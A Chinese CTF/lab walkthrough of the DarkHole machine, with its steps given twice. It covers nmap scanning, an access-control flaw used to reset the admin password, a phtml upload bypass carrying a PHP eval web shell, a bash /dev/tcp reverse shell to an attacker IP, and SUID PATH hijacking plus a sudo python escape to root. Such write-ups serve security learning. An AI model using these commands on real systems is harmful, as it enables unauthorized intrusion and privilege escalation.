linux系统suid提权

目录

1.找到靶机

arp -scan -l / nmap -sP 10.0.2.0/24

2. 扫描靶机端口,发现开放 22 和 80 端口

nmap -A -T4 -p 0-65535 10.0.2.246

访问 login.php 页面,是个登录页面,由于前面提示说不需要浪费时间爆破, 所以先不爆破,去注册页面注册个账号然后登录进来,注册的时候使用 admin 注册,提示说已存在,可得知 admin 账户存在

有个 id 号,想水平越权,发现不行,发现有个修改密码功能,尝试垂直越权修 改 admin 的密码,抓包的时候 id=2,猜测 admin 为 id=1

修改成功,尝试登录,发现成功用 admin/123456 登录,有一个文件上传功能

蚁剑连接(终端运行桌面的 antsword.sh 文件即可运行蚁剑)

5. 反弹 shell

kali 运行 nc 监听端口

nc -lvnp 8888

蚁剑打开终端

bash -c 'bash -i >& /dev/tcp/10.0.2.228/8888 0>&1'

6. 提权

cat

/etc/passwd

发现 root 用户和 john 用户可以登录 bash

6.1 提权到 john 用户

进入 john 家目录

在家目录下面发现了一个 toto 文件,执行发现和 id 一样的功能(当 s 权限在文 件所有者 x 权限位上时,例如:-rwsr-xr-x,此时称为 Set UID,简称为 SUID

的特殊权限,即当执行该文件时将具有该文件所有者的权限;当 s 权限在文件组 x 权限上时,例如:-rwx--s--x,此时称为 Set GID,简称为 SGID 的特殊权限, 执行者在执行该文件时将具有该文件所属组的权限。)

user.txt 和 passwd 文件,发现没有权限查看

创建名为 id 的文件,将 bash 文件的位置写入 id 当中,然后使用 export 修改环 境变量,优先加载 tmp 下的 id 文件,echo 输出 path 查看是否修改成功

编辑一个本地的 id 命令,由于 tmp 目录 www 用户有权限所以写入其中,并给予 777 权限

echo ‘/bin/bash’ >> /tmp/id

chmod 777 /tmp/id

把刚刚写好的 id 添加到本地 bash 的环境变量中

由于 PATH 会按照顺序匹配,后写的 PATH 在旧的 PATH 之前,因此会优先执行我

们写的 id 命令

export PATH=/tmp:$PATH

运行 toto

python 调交互 bash

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

 

查看 user.txt 拿到第一面 flagDarkHole{You_Can_DO_It}

cat password

拿到 john 密码 john/root123

6.2 提权至 root

sudo -l  #查看 john 的权限

发现 john 可以使用 root 身份执行 file.py

查看 file.py 文件啥也没有

写入 python 调 bash 代码

echo ‘import pty; pty.spawn(“/bin/bash”)’ > file.py

执行 file.py

sudo python3 /home/john/file.py #以 root 的身份执行 file.py 得到 root 的 bin/bash

查看 id 发现提权成功 拿到第二面 flag DarkHole{You_Are_Legend}


1.找到靶机

arp -scan -l / nmap -sP 10.0.2.0/24

2. 扫描靶机端口,发现开放 22 和 80 端口

nmap -A -T4 -p 0-65535 10.0.2.246

  1. 访问 80 端口,首页是一个静态页面,在源代码中发现 login.php

访问 login.php 页面,是个登录页面,由于前面提示说不需要浪费时间爆破, 所以先不爆破,去注册页面注册个账号然后登录进来,注册的时候使用 admin 注册,提示说已存在,可得知 admin 账户存在

有个 id 号,想水平越权,发现不行,发现有个修改密码功能,尝试垂直越权修 改 admin 的密码,抓包的时候 id=2,猜测 admin 为 id=1

修改成功,尝试登录,发现成功用 admin/123456 登录,有一个文件上传功能

  1. 上传 shell 发现对文件类型有限制,经过尝试发现 phtml 没有在黑名单,成 功绕过,并且能够成功解析 <?php @eval($_POST['369']);?>

注:php 语言除了可以解析以 php 为后缀的文件,还可以解析 php2,php3、php4、 php5,phtml

蚁剑连接(终端运行桌面的 antsword.sh 文件即可运行蚁剑)

5. 反弹 shell

kali 运行 nc 监听端口

nc -lvnp 8888

蚁剑打开终端

bash -c 'bash -i >& /dev/tcp/10.0.2.228/8888 0>&1'

6. 提权

cat

/etc/passwd

发现 root 用户和 john 用户可以登录 bash

6.1 提权到 john 用户

进入 john 家目录

在家目录下面发现了一个 toto 文件,执行发现和 id 一样的功能(当 s 权限在文 件所有者 x 权限位上时,例如:-rwsr-xr-x,此时称为 Set UID,简称为 SUID

的特殊权限,即当执行该文件时将具有该文件所有者的权限;当 s 权限在文件组 x 权限上时,例如:-rwx--s--x,此时称为 Set GID,简称为 SGID 的特殊权限, 执行者在执行该文件时将具有该文件所属组的权限。)

user.txt 和 passwd 文件,发现没有权限查看
创建名为 id 的文件,将 bash 文件的位置写入 id 当中,然后使用 export 修改环 境变量,优先加载 tmp 下的 id 文件,echo 输出 path 查看是否修改成功

编辑一个本地的 id 命令,由于 tmp 目录 www 用户有权限所以写入其中,并给予 777 权限

echo ‘/bin/bash’ >> /tmp/id
chmod 777 /tmp/id

把刚刚写好的 id 添加到本地 bash 的环境变量中

由于 PATH 会按照顺序匹配,后写的 PATH 在旧的 PATH 之前,因此会优先执行我
们写的 id 命令
export PATH=/tmp:$PATH

运行 toto

python 调交互 bash
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

 

查看 user.txt 拿到第一面 flagDarkHole{You_Can_DO_It}

cat password

拿到 john 密码 john/root123

6.2 提权至 root

sudo -l  #查看 john 的权限

发现 john 可以使用 root 身份执行 file.py

查看 file.py 文件啥也没有

写入 python 调 bash 代码

echo ‘import pty; pty.spawn(“/bin/bash”)’ > file.py

执行 file.py

sudo python3 /home/john/file.py #以 root 的身份执行 file.py 得到 root 的 bin/bash

查看 id 发现提权成功 拿到第二面 flag DarkHole{You_Are_Legend}

  • 26
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值